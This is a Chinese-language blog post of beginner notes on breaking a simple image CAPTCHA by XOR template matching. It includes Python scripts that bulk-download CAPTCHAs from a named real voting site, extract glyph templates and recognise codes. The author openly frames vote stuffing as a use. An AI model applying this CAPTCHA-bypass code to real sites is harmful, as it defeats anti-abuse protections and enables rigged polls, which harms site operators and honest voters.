无聊入门一下传说中的验证码识别技术，学习笔记

背景

笔记本硬盘坏了，数据没了，盘里面的数据价值肯定超过联想数据恢复的RMB1500高价，不过当时身五分银，还是算了。。。
新硬盘需要重装很多东西，今晚在群里看到给宿舍评分的给力投票，网址上的验证码做得很水，想涉足一下传说中的验证码识别技术！

原理

对于简单的验证码，使用的原理也相当的简单。
现在有两个长度一致的二进制的数字，1110111011101和1010111011100，比较他们的相似度可以使用XOR运算！

1110111011101 XOR 1010111011100 = 0100000000001

结果中，1的数目越小，相似度越高。现在比较两张单色的图片，也可以使用这样的方法。这两张图必须是规格相同的，

把两张单色的图片进行Xor，结果残留下来的白点越小，表示相似度越高！！！

for y in range(h):
    for x in range(w):
        im2.putpixel((x,y), im1.getpixel((x,y)) ^ im2.getpixel((x,y)))
im2.show()

上面两个1的进行XOR运算，得到了不同像素点的个数。如上图所示，一共有3个。

同时，我们把右图的1跟其他字符或数字的模板进行比较，看看相差多大。

XOR统计结果 比较字模
3 1
12 I
15 T
25 Y
30 2
34 Z
37 0
38 L
38 X
39 E
40 3
40 7
40 C
40 J
41 S
42 F
43 4
43 G
43 V
44 9
44 A
44 K
45 5
47 6
47 8
47 O
47 P
48 Q
51 M
52 N
54 D
54 R
55 B
55 U
56 W
60 H

相差最大的是H，比较相似的是I，的确1和I是有点类似的，但是差距还是比较明显的。所以识别率会很高！

准备

1. 一台运行着Ubuntu10.10的笔记本
2. 接入互联网

获取样本

从网站上得到获取的验证码地址为
http://su.100steps.net/2007/vote/verify.php

图片浏览器设置一下不要平滑图片，放大图片之后，就可以看到小小的验证码图片是由一大堆像素点拼凑而成的。
获取样本无非是为了找规律，样本越多对我们分析越好。

因为这个验证码的规律很明显，我们暂且就获取50张吧，当然不是自己一个一个去下载，写个简单的脚本来处理！

import urllib, random
for i in range(50):
    url = 'http://su.100steps.net/2007/vote/verify.php'
    print "download", i
    file("./code/%04d.png" % random.randrange(10000), "wb").write(
        urllib.urlopen(url).read())i

用上面的代码保存到downloadcode.py，在当前目录建立一个code目录。然后执行

python downloadcode.py

下载了50个验证码！

观测样本

为了看清楚点，去除噪点，转换成黑白单色图！

通过观察一大堆验证码，得出如下结论：
1. 验证码不复杂，只使用了一种字体类型
2. 验证码不复杂，只使用了一种字体大小
3. 验证码不复杂，只使用了一种字体颜色
4. 验证码不复杂，每张由5个字母或数字构成，5个字母或数字的位置都是固定的
5. 验证码不复杂，没有图片的歪曲变形，没有干扰线条或图案

因此，这堆验证码非常适合识别验证码技术的初学者小试牛刀！

提取字模

既然已经知道每个字母或数字在图片中的具体位置，就可以从这些样本之中，把它们提取出来！！！
每个字模的大小都是8x10，宽8高10，单位像素。

好吧，让脚本帮我们提取这些字模：

import Image, os
j = 1
for f in os.listdir("."):
    if f.endswith(".png"):
        img = Image.open(f).convert("1")
        for i in range(5):
            x = 10 + i*18
            y = 6
            img.crop((x, y, x+8, y+10)).save("font/%d.bmp" % j)
            print "j=",j
            j += 1

执行脚本，结果生成了250个字模。

从这些字模之中，每个数字或字母，我们只需要一个看上去比较标准的就够了。飞之同学说，如果知道它是什么字体，就可以直接用脚本生成一堆标准的模板就行了，省去自己去匹配的麻烦呢。

识别程序

代码的流程比较简单，先加载标准的模板，然后读取一张验证码的图片，裁剪出这张图片的每个数字或字母的局部图，然后跟我们的标准模板进行比较，统计像素点不相同的个数。然后把每个字模的统计结果进行排序，不相同点个数最小的，相似度就应当是最高的了！！！

下面的代码把识别出来的验证码另存到result目录下，并以结果命名！

import os, Image

# load font modules  (char, image)
fontMods = []
for i in range(10):
    fontMods.append((str(i), Image.open("./good/%02d.bmp" % i)))
for i in range(26):
    c = chr(ord('A') + i)
    fontMods.append((c, Image.open("./good/%s.bmp" % c)))

def recognize(f):
    im = Image.open(f)
    im2 = im.convert('1')
    # check 5 fonts
    result = "./result/"
    for i in range(5):
        x = 10 + i*18
        y = 6
        target = im.crop((x, y, x+8, y+10))
        points = []
        for mod in fontMods:
            diffs = 0
            for yi in range(10):
                for xi in range(8):
                    if mod[1].getpixel((xi, yi)) != target.getpixel((xi, yi)):
                        diffs += 1
            points.append((diffs, mod[0]))
        points.sort()
        result += points[0][1]
    result += ".png"
    print "save to", result
    im.save(result);

for imgfile in os.listdir("."):
    if imgfile.endswith(".png"):
        recognize(imgfile)

效果图片：

50个验证码中，有两三个出现了把E识别成B的现象，其他问题都不大，识别成功率超过90%。

小结

机器识别验证码，能够超过90%的正确率已经是相当不错的了。有的验证码肉眼识别也达不到90%，所以有的网站提供的验证码，我要更换好几次！！！
如果是用来刷票，超过50%的识别率都已足够啦！

这次试验只是用来进行入门，复杂一些的验证码就不能只是这么做了，还需要考虑很多问题，对图片预处理复杂很多吧，识别的时候也可以考虑加入学习功能（例如神经网络）来逐步提高识别的成功率。因此，仅仅是菜鸟入门，大牛可以无视之。